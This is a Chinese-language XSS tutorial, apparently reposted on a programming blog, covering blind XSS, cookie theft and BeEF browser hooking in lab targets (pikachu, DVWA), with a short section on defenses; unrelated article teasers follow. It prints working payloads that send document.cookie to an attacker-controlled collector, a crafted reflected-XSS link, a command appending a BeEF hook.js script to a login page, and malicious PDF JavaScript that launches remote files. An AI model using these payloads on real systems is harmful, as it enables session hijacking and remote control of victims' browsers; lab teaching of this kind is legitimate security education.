XSS盲打与cookie劫持

news2024/11/15 13:47:11

目录

【学习目标、重难点知识】

【学习目标】

【重难点知识】

XSS盲打(加载远程攻击payload)

XSS偷cookie

cookie收集

在线XSS收集平台的使用

1. BeeF框架的使用

BeeF简介

安装和使用

XSS 一些实战应用

1. XSS PDF

2. 公网投毒

3. 网站挂马

XSS防御

HttpOnly

输入检查

输出检查


【学习目标、重难点知识】

【学习目标】

  1. XSS盲打
  1. XSS收集平台
  1. BeFF框架的使用
  1. 在线XSS收集平台的使用

【重难点知识】

  1. XSS收集平台的使用
  1. 在线XSS收集平台的使用

XSS盲打(加载远程攻击payload)

盲打的意思就是指:在看不见XSS内容提交后的输出的情况下,强制把xss脚本提交上去。此种情况多出现在留言板,问题反馈等可以在后台查看的情况下,当我们的管理员或客服打开网页的时候,就此中招。

以pikachu的xss盲打为例子,在留言的时候,如留下的是XSS的代码,这些代码窃取了会话session,而后台如果没有对这些xss代码进行过滤,问题就此产生。

XSS后台很多,也很好用,包括xssme pkxss 等等。我们可以在pikachu靶场里看到有xss的集成平台。

XSS偷cookie

前期准备

  • 被攻击者网站:http://pikachu/
  • 黑客部署的网站:http://pkxss/

利用过程

  • 获取cookie信息文件在哪:http://pkxss/xcookie/cookie.php
    • cookie.php,需要get将cookie内容传过来
    • 所以要让受害者去访问http://pkxss/xcookie/cookie.php?cookie=1231321
  • 如何让受害者去访问?
  • 让受害者执行我们的JS代码
  • 如何让受害者执行?
  • 找xss漏洞,将代码插入到目标网站

<script>document.location='http://pkxss/xcookie/cookie.php?cookie=cookie'%2bdocument.cookie</script>			//注意,符号+,要改成%2b

  • 受害者执行完之后,会重定向到我们设置的安全网站

  • 这个时候受害者执行js代码之后,就会将cookie,发送到目标服务器上,目标服务器用cookie.php接收cookie信息

  • 注意,cookie.php中重定向网站要自己修改,改成目标自己的站点


cookie收集

重定向到另一个可信网址 让点击者 不知情。

注意这个地方这个cookie.php的文件位置,我们要访问这个收集cookie的文件路径应该是:

http://主机地址/pkxss/xcookie/cookie.php

我们可以构建一个偷cookie的payload:

<script> document.location = 'http://主机地址/pkxss/xcookie/cookie.php?cookie='+document.cookie; </script>

接下来在反射性XSS中试一试:


获得的结果:

可以get反射型XSS构建一个欺骗用户点击的链接:

http://localhost:8089/vul/xss/xss_reflected_get.php?message=<img src=x onerror="document.location = 'http://主机地址/pkxss/xcookie/cookie.php?cookie='+document.cookie;">&submit=submit

注意:+会被过滤 , 用%2B来替换

http://localhost:8089/vul/xss/xss_reflected_get.php?message=<img src=x onerror="document.location = 'http://主机地址/pkxss/xcookie/cookie.php?cookie='%2Bdocument.cookie;">&submit=submit

访问之后:

在线XSS收集平台的使用

1. BeeF框架的使用

BeeF简介

BeeF,全称The Browser Exploitation Framework,是一款针对浏览器的渗透测试工具。 用Ruby语言开发的,Kali中默认安装的一个模块,用于实现对XSS漏洞的攻击和利用。

BeeF主要是往网页中插入一段名为hook.js的JS脚本代码,如果浏览器访问了有hook.js(钩子)的页面,就会被hook(勾住),勾连的浏览器会执行初始代码返回一些信息,接着目标主机会每隔一段时间(默认为1秒)就会向BeEF服务器发送一个请求,询问是否有新的代码需要执行。BeEF服务器本质上 就像一个Web应用,被分为前端和后端。前端会轮询后端是否有新的数据需要更新,同时前端也可以向后端发送指示, BeeF持有者可以通过浏览器来 登录 BeEF 的后端,来控制前端(用户的浏览器)。BeEF一般和XSS漏洞结合使用。

安装和使用
安装教程:https://www.cnblogs.com/xfbk/p/17936987

我们主要在docker中去使用,安装完docker并启动后,我们搜索BeeF框架的镜像:

然后拉取下来:

然后直接启动docker:

docker run -d --name beef -p 3000:3000 janes/beef

现在,我们通过浏览器打开BeEF的界面:

http://xxx.xxx.xxx.xxx:3000/ui/authentication 默认账号密码:beef/beef

此时,我们已经进入了BeEF页面里面,但是发现什么都没有。 最后我们要设置一个钩子,将下面这段代码保存为beef.html:

<html> 
  <head>    
    <title>BeEF测试</title> 
  </head> 
  <body>    
    <script src="http://192.168.119.129:3000/hook.js"></script>

  </body> 
</html>

这是一个最简单的例子,<script>标签的src属性指向的是BeEF的钩子,其中里面的地址大家根据自己实际情况更改。也可以直 接将这个路径贴到浏览器中,看看这个JS代码。

接下来访问这个文件,就可以看到主机上线:

这就类似一个远控木马,别人点击了你的链接就能操控他的浏览器了,还能执行很多命令,命令菜单不多,大家都点点看看吧。

XSS 一些实战应用

1. XSS PDF

  • 首先我们需要制作一个恶意的 pdf 文件,大多有三种方式:
    • 迅捷 PDF 编辑器(推荐)
    • Adobe Acrobat DC
    • Python 脚本嵌入
  • 这里使用迅捷 PDF 编辑器,新建空白页面:

  • 然后选中缩略图,点击属性,此时在右侧可以看到属性栏:

  • 新增运行 JavaScript:

  • 在弹出的 JavaScript 编辑器对话框中输入以下代码,然后保存文件:
app.alert("恶意代码");通过弹出恶意警告框来干扰用户或欺骗用户。

this.exportDataObject({ cName: "恶意文件", nLaunch: 2, cDIPath: "http://恶意网站/恶意文件" });通过导出数据对象来触发恶意文件的下载或执行。

this.submitForm({ cURL: "http://恶意网站/恶意脚本" });通过提交表单来触发恶意脚本的执行。

注:之所以不是 alert('xss'),这是因为Adobe支持自身的 JavaScript 对象模型,利用 JavaScript 进行攻击时只能使用 Adobe 所支持的功能。

  • 现在恶意文件已经制作完成,使用浏览器打开:

  • 但也不是所有浏览器都会弹:
    • Chrome(弹)
    • Edge(弹)
    • QQ(弹)
    • Firefox(不弹)
    • IE(不弹)
  • 同时还有一些支持在线预览的网盘也会出现此类问题:https://catbox.moe/
  • 同样的 PDF 内的 JS 是被大幅阉割过的,不存在能够获取 cookie 等问题。

2. 公网投毒

  • 在站点中嵌入 xss 代码,每个访问者都将进行回连(供应链攻击)。
  • 公网自建站点(DVWA + BeEF):
docker run -itd -p 81:80 --name dvwa citizenstig/dvwa:latest
  • 在 login.php 处添加代码:
docker exec -it dvwa /bin/bash
echo '<script src="http://10.10.8.21:3000/hook.js"></script>' >> /var/www/html/login.php
  • 查看结果:
root@e7e481b84bad:/# tail -n 1 /var/www/html/login.php
<script src="http://10.10.8.21:3000/hook.js"></script>
  • 当我们访问 DVWA 登录页面时,BeEF 就已经上线了:

3. 网站挂马

  • 对方访问站点后直接造成权限获取,一般都是利用浏览器漏洞(0 day),常用漏洞有:
    • ms14-064(CVE-2014-6332)
    • CVE-2018-8174
    • CVE-2019-1367
    • CVE-2021-21220
    • CVE-2023-4863
  • 参考页面:

CVE-2021-21220(Chrome)漏洞复现 | Yongz丶

XSS防御

HttpOnly

HttpOnly 最早由微软提出,浏览器将禁止页面的JavaScript访问HttpOnly属性的Cookie。HTTPOnly 并未要对抗XSS,HTTPOnly 解决的是XSS后的Cookie劫持攻击。在使用了HTTPOnly之后,会使这种攻击失效。

使用了HttpOnly之后就没有办法偷取cookie了。

response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");


Set-Cookie : uid=112; Path=/; HttpOnly



cookie:

输入检查

常见的web漏洞都要求攻击者构造一些特殊字符,这些特殊字符可能是常规用户不会用到的,所以输入检查就很有必要了。在XSS防御上一般就是检查用户输入数据中是否包含一些特殊字符,如<、>、"、' 如果发现这些特殊字符将这些关键字符过滤或者编码。

比较智能的检查还可以匹配XSS 的特征,比如查找用户数据中是否包含了

输出检查

除了富文本的输出之外,在变量输出到HTML页面时,可以使用编码或者转义的方式来防御XSS攻击。

  • HTML代码的编码方式是HtmlEncode。
  • PHP中有htmlentities()和htmlspecialchares() 这两个函数可以满足安全要求
  • Javascript 可以使用JavascriptEncode。
  • 在Django自带的模板系统中,可以使用escape进行htmlencode,并且在Django 1.0中默认所有变量都会被escape。
  • web2py中,也默认escape了所有变量。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2038907.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

WUP-CH34X ch34x系列芯片USB转串口通信uniapp插件使用说明

插件地址&#xff1a;WUP-CH34X 系列芯片USB转串口通信安卓库 简介 本文档是针对 CH340/CH341/CH342/CH343/CH344/CH347/CH9101/CH9102/CH9103/CH9104/CH9143的 USB 转串口安卓库的开发说明文档。 主要介绍如何使用芯片的 USB 转异步串口功能&#xff08;以下简称 CH34XUART…

python 使用正则表达式判断图片路径是否是超链接

在Python中&#xff0c;判断一个给定的字符串&#xff08;假设为图片路径&#xff09;是否是网页链接&#xff08;URL&#xff09;&#xff0c;你可以通过检查该字符串是否符合URL的基本格式来实现。虽然这个方法不能保证链接一定指向图片&#xff0c;但它能判断该字符串是否是…

La-Z-Boy EDI项目测试流程详解

在此前的文章《家居EDI&#xff1a;La-Z-Boy EDI 项目案例》中&#xff0c;为大家介绍了La-Z-Boy的EDI 需求以及在知行之桥EDI系统中的具体实现&#xff0c;本文主要为大家介绍La-Z-Boy EDI项目测试流程。 梳理需求文档 La-Z-Boy 提供的EDI资料主要包括&#xff1a;EDI 850订…

在IntelliJ IDEA中利用Git拉取项目

1 访问gitee或github&#xff0c;找到项目对应的仓库&#xff0c;并复制仓库地址。 2 打开IDEA&#xff0c;依次选择菜单:File->New->Project from Version Control 3 在弹出框中输入仓库路径(从第一步中gitee或github复制的路径)并点击Clone 4 在弹出框中输入gite…

Mybatis框架——使用案例详细教程

文章目录 一、项目创建1.1 创建 Idea 项目1.2 导入必要依赖 二、数据库配置2.1 创建数据库2.2 配置数据库连接信息 三、MyBatis 配置3.1 创建配置文件 mybatis-config.xml3.2 创建 SqlSessionFactory 实例 四、项目测试和运行4.1 创建实体类4.2 创建 mapper.xml 文件4.3 创建 m…

CentOS7安装Docker教程(含最新镜像地址)

文章目录 1 安装前必读2 安装Docker的详细步骤3 配置镜像加速 1 安装前必读 在安装 Docker 之前&#xff0c;先说一下配置&#xff0c;我这里是Centos7 Linux 内核&#xff1a;官方建议 3.10 以上&#xff0c;3.8以上貌似也可。 注意&#xff1a;本文的命令使用的是 root 用户…

UE基础 —— 工具和编辑器

目录 Level Editor Static Mesh Editor Material Editor Blueprint Editor Physics Asset Editor Behavior Tree Editor Niagara Editor UMG UI Editor Font Editor Sequencer Editor Animation Editor Control Rig Editor Sound Cue Editor Media Editor nDisp…

JUC-变量的线程安全

成员变量和静态变量是否线程安全&#xff1f; 如果它们没有共享&#xff0c;则线程安全&#xff0c;即没有被外部访问。 如果它们被共享了&#xff0c;根据它们的状态是否能够改变&#xff0c;又分两种情况 如果只有读操作&#xff0c;则线程安全 如果有读写操作&#xff0c;…

【图形学】TA之路-矩阵应用平移-旋转-大小

矩阵应用&#xff1a;在 Unity 中&#xff0c;Transform 和矩阵之间的关系非常密切。Transform 组件主要用于描述和控制一个物体在三维空间中的位置、旋转和缩放&#xff0c;而这些操作背后实际上都是通过矩阵来实现的 1. Transform 组件与矩阵的关系 Transform 组件包含以下…

java简单实现双链表代码

package com.se.day03.aGenericity.eDataStructrue;/*** 自定义一个双链表的数据结构。**/public class MyDoubleList<E> {//新创建容器时&#xff0c;头部和尾部元素都是null,size0;private Node head; //头部元素private Node tail; //尾部元素private int size; // …

特殊数组Z(前缀和)

前言&#xff1a;想了好一会才想到是前缀和来写&#xff0c;并且我一开始的是从考虑这个数和这个数后面一个数&#xff0c;导致边界烦了我好久 看了一下&#xff0c;考虑这个数和这个数前一个数更好 class Solution { public:vector<bool> isArraySpecial(vector<int…

按键按下,LED 点亮,但是,理论和现象不符

通过 Debug &#xff0c;解决了一个 Bug&#xff0c;很开心&#x1f604;&#xff0c;记录下 想实现的效果&#xff1a;按下 PB12 上的按钮&#xff0c;PA7 上的 LED 点亮&#xff1b;松开&#xff0c;LED 熄灭 单片机型号&#xff1a;STM32F103C8T6 PB12 为上拉电阻&#xf…

高可用负载均衡集群

高可用负载均衡集群 相比单点的负载均衡集群&#xff0c;高可用负载均衡集群可以解决以下两个问题。 1. real server某个服务down会怎么样&#xff1f;如何解决&#xff1f; 解决 自动调用好的real server 2. scheduler server down会怎么样&#xff1f;如何解决&#xff1f…

Docker容器管理之FAQ

一、前言 某次&#xff0c;某容器服务发现无法使用了&#xff0c;查看状态为restaring状态&#xff0c;后看是云主机重启了&#xff0c;导致本地的nfs-server未自动启动&#xff0c;导致关联的集群主机&#xff0c;远程挂载点无法使用&#xff0c;影响容器服务运行。故此&#…

Qt编译错误: error: msvc-version.conf loaded but QMAKE_MSC_VER isn‘t set

方法一&#xff1a;清空构建目录 清空当前目录的多余文件即可&#xff0c;具体操作如下 一个正常的Qt项目刚被创建且没有编译时是这样的 一个main文件&#xff0c;一个pro文件&#xff0c;一个user文件&#xff0c;一个头文件(.h)&#xff0c;和一个源文件(.cpp)&#xff0c;一…

springsecurity的学习(四):实现授权

简介 springsecurity的授权&#xff0c;自定义授权失败的处理&#xff0c;跨域的处理和自定义权限校验方法的介绍 授权 权限系统作用 在后台进行用户权限的判断&#xff0c;判断当前用户是否有相应的权限&#xff0c;必须具有所需的权限才能进行相应的操作&#xff0c;以此…

高通分享:glTF 2.0扩展MPEG、3GPP在AR/VR 3D场景的沉浸式体验

日前&#xff0c;高通技术标准高级总监托马斯斯托克哈默尔&#xff08;Thomas Stockhammer&#xff09;和高通技术标准总监伊梅德布亚齐兹&#xff08;Imed Bouazizi&#xff09;撰文分享了ISO和Khronos之间是如何紧密合作&#xff0c;并最终开发出MPEG-I Scene Description IS…

基于LangChain的大模型学习手册(入门级)

前言 时间轴来到2024年的下半年&#xff0c;“大模型”这个术语&#xff0c;从几乎是ChatGPT的代名词&#xff0c;转变为AI领域一个划时代产品的广泛词汇。从单一到广泛&#xff0c;代表大模型这个世界级产品&#xff0c;正在走向枝繁叶茂的生命阶段。截止现在&#xff0c;目前…

【算法分析与设计】期末复习-小题100道

目录 0、基础知识点 一、单选题 二、多选题 三、判断题 0、基础知识点 &#xff08;1&#xff09;常见时间复杂度与公式&#xff1a; 汉诺塔&#xff1a;T(n)O(2^n) 全排列&#xff1a;T(n)O(n!) 整数划分&#xff1a; 正整数n的划分&#xff1a;p(n)q(n,n) 分治&#…

推荐系统三十六式学习笔记:工程篇.效果保证31|推荐系统的测试方法及常用指标介绍

目录 为什么要关注指标推荐系统的测试方法1.业务规则扫描2.离线模拟测试3.在线对比测试4.用户访谈 常用指标1.系统有多好&#xff1f; 假设你已经有了自己的推荐系统&#xff0c;这个系统已经上线。 为什么要关注指标 面对推荐系统这样一个有诸多复杂因素联动起作用的系统&am…